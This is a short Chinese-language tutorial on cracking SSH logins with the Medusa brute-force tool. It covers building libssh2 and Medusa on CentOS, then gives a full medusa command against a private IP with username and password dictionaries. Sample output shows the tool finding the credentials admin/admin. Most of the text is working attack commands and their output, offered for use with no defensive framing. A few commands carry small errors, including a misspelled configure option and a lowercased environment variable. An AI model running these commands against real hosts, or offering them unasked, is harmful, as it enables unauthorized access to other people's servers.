medusa工具破解ssh

1. 軟體

os:：centos release 5.2 (final) (可通過cat /etc/issue檢視)

庫：libssh2-1.2.7.tar.gz

medusa：medusa-2.0.tar.gz

2. 安裝libssh2-1.2.7

將libssh2-1.2.7.tar.gz拷貝到/tmp/目錄下，解壓為libssh2-1.2.7並進入該目錄:

2.1 ./configure

2.2 make

2.3 make install

3. 安裝medusa-2.0

將medusa-2.0.tar.gz拷貝到/tmp/目錄下，解壓為medusa-2.0並進入該目錄:

2.1 ./configure –build=」i686-pc-linux」 –enable-moduel-ssh=yes

2.2 make

2.3 make install

4. 設定環境變數ld_library_path便於用medusa破解ssh時找到相應的相應的共享庫

export ld_library_path=/usr/local/lib

note:若在執行時出現如下類似錯誤時，一般用上述方法可解決

important: couldn't load "ssh" [libssh2.so.1: cannot open shared object file: no such file or directory].

5. 開始破解ssh

將字典(如brute.dic, p.dic)拷貝到目錄/tmp/後，進入/tmp/目錄，鍵入medusa可以看到其它幫助資訊，根據幫助資訊可以開始破解ssh.。e.g., (假設我們要破解的目標ip為192.168.10.126)

[root@centos2 tmp]# medusa -h 192.168.10.126 -u brute.dic -p p.dic -t 7 -f -r 10 -m ssh

medusa v2.0 [ (c) jomo-kun / foofus [email protected]

account check: [ssh] host: 192.168.10.126 (1 of 1, 0 complete) user: admin (1 of 1, 0 complete) password: adidas (123 of 4086 complete)

account check: [ssh] host: 192.168.10.126 (1 of 1, 0 complete) user: admin (1 of 1, 0 complete) password: admin (124 of 4086 complete)

account found: [ssh] host: 192.168.10.126 user: admin password: admin [success]

account check: [ssh] host: 192.168.10.126 (1 of 1, 0 complete) user: admin (1 of 1, 1 complete) password: access (125 of 4086 complete)

account check: [ssh] host: 192.168.10.126 (1 of 1, 0 complete) user: admin (1 of 1, 1 complete) password: accident (126 of 4086 complete)

account check: [ssh] host: 192.168.10.126 (1 of 1, 0 complete) user: admin (1 of 1, 1 complete) password: across (127 of 4086 complete)

account check: [ssh] host: 192.168.10.126 (1 of 1, 0 complete) user: admin (1 of 1, 1 complete) password: adam (128 of 4086 complete)

account check: [ssh] host: 192.168.10.126 (1 of 1, 0 complete) user: admin (1 of 1, 1 complete) password: admin (129 of 4086 complete)

account found: [ssh] host: 192.168.10.126 user: admin password: admin [success]

account check: [ssh] host: 192.168.10.126 (1 of 1, 0 complete) user: admin (1 of 1, 2 complete) password: admin (130 of 4086 complete)

當發現有」account found」時，說明成功破解，在上述例子中我們的成功破解的使用者名為admin,密碼為admin.